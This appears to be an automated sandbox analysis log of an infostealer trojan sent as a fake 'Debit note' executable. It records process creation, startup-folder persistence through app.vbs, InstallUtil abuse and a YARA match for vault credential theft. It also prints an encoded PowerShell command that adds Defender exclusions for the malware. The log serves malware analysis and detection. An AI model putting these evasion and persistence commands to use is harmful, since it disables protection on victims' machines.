Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D53F50	8_2_05D53F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D556E0	8_2_05D556E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D50040	8_2_05D50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D58BA0	8_2_05D58BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D52B00	8_2_05D52B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D59AE8	8_2_05D59AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D55000	8_2_05D55000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_05D53250	8_2_05D53250
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_00D32098	15_2_00D32098
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_00D32088	15_2_00D32088
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_00D328AD	15_2_00D328AD
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_00D32939	15_2_00D32939
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_00D327FD	15_2_00D327FD
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A04DE8	15_2_05A04DE8
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A0AC43	15_2_05A0AC43
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A0AC5A	15_2_05A0AC5A
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A01662	15_2_05A01662
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A01670	15_2_05A01670
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A00006	15_2_05A00006
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A00040	15_2_05A00040
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A0B310	15_2_05A0B310
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_05A0AB5A	15_2_05A0AB5A
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_064786CB	15_2_064786CB
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06476D59	15_2_06476D59
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06474BA8	15_2_06474BA8
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0647AE18	15_2_0647AE18
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06470FF8	15_2_06470FF8
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06474B98	15_2_06474B98
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0647D050	15_2_0647D050
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06471008	15_2_06471008
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06492560	15_2_06492560
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_064925B4	15_2_064925B4
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_064C6868	15_2_064C6868
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_064C0078	15_2_064C0078
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_064C0088	15_2_064C0088
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_064CE0A8	15_2_064CE0A8
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_064C61A2	15_2_064C61A2
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_064C61B0	15_2_064C61B0
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_065D8D30	15_2_065D8D30
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_065DF150	15_2_065DF150
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_065DF13F	15_2_065DF13F
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06607478	15_2_06607478
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066015DF	15_2_066015DF
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0660DB90	15_2_0660DB90
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0660746A	15_2_0660746A
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06600040	15_2_06600040
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06600006	15_2_06600006
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0660F1A8	15_2_0660F1A8
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0660DEC7	15_2_0660DEC7
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06605D31	15_2_06605D31
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06609B49	15_2_06609B49
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0660A820	15_2_0660A820
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0660A811	15_2_0660A811
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066A1298	15_2_066A1298
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066A64A0	15_2_066A64A0
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066A1240	15_2_066A1240
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066A1288	15_2_066A1288
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066A6490	15_2_066A6490
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066BD640	15_2_066BD640
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066BBE90	15_2_066BBE90
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066B15C0	15_2_066B15C0
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_066B15B2	15_2_066B15B2
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0698FAA0	15_2_0698FAA0
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0698F7E8	15_2_0698F7E8
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06970006	15_2_06970006
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06970040	15_2_06970040
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_0698E270	15_2_0698E270
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06492A1B	15_2_06492A1B
Source: C:\Users\user\AppData\Roaming\app.exe	Code function: 15_2_06492A20	15_2_06492A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_02379378	19_2_02379378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_02374A98	19_2_02374A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_02379B38	19_2_02379B38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_02373E80	19_2_02373E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_0237CDB0	19_2_0237CDB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_023741C8	19_2_023741C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B9DD18	19_2_05B9DD18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B9BD08	19_2_05B9BD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B93F50	19_2_05B93F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B956E0	19_2_05B956E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B90040	19_2_05B90040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B98BA0	19_2_05B98BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B92B00	19_2_05B92B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B99AE8	19_2_05B99AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B95000	19_2_05B95000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 19_2_05B93250	19_2_05B93250

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Static PE information: invalid certificate

Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7e5bb978-3a35-43a5-95fe-dd44d69d6a5a.exe4 vs Debit note -MSR_2024_0024- and Attachments.com.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000000.1663145846.0000000000EAC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBnfvqzuqaio.exe8 vs Debit note -MSR_2024_0024- and Attachments.com.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1938043554.0000000006AC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameImfcodt.dll" vs Debit note -MSR_2024_0024- and Attachments.com.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Debit note -MSR_2024_0024- and Attachments.com.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003460000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Debit note -MSR_2024_0024- and Attachments.com.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1936749239.0000000006520000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Debit note -MSR_2024_0024- and Attachments.com.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1921557983.000000000152E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Debit note -MSR_2024_0024- and Attachments.com.exe
Source: Debit note -MSR_2024_0024- and Attachments.com.exe	Binary or memory string: OriginalFilenameBnfvqzuqaio.exe8 vs Debit note -MSR_2024_0024- and Attachments.com.exe

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.InstallUtil.exe.7b0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@32/8@2/2

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2872:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nsijr1mf.1lx.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs"

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Debit note -MSR_2024_0024- and Attachments.com.exe	Virustotal: Detection: 36%
Source: Debit note -MSR_2024_0024- and Attachments.com.exe	ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

File read: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe "C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe"
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\app.exe "C:\Users\user\AppData\Roaming\app.exe"
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\app.exe "C:\Users\user\AppData\Roaming\app.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: slc.dll	Jump to behavior
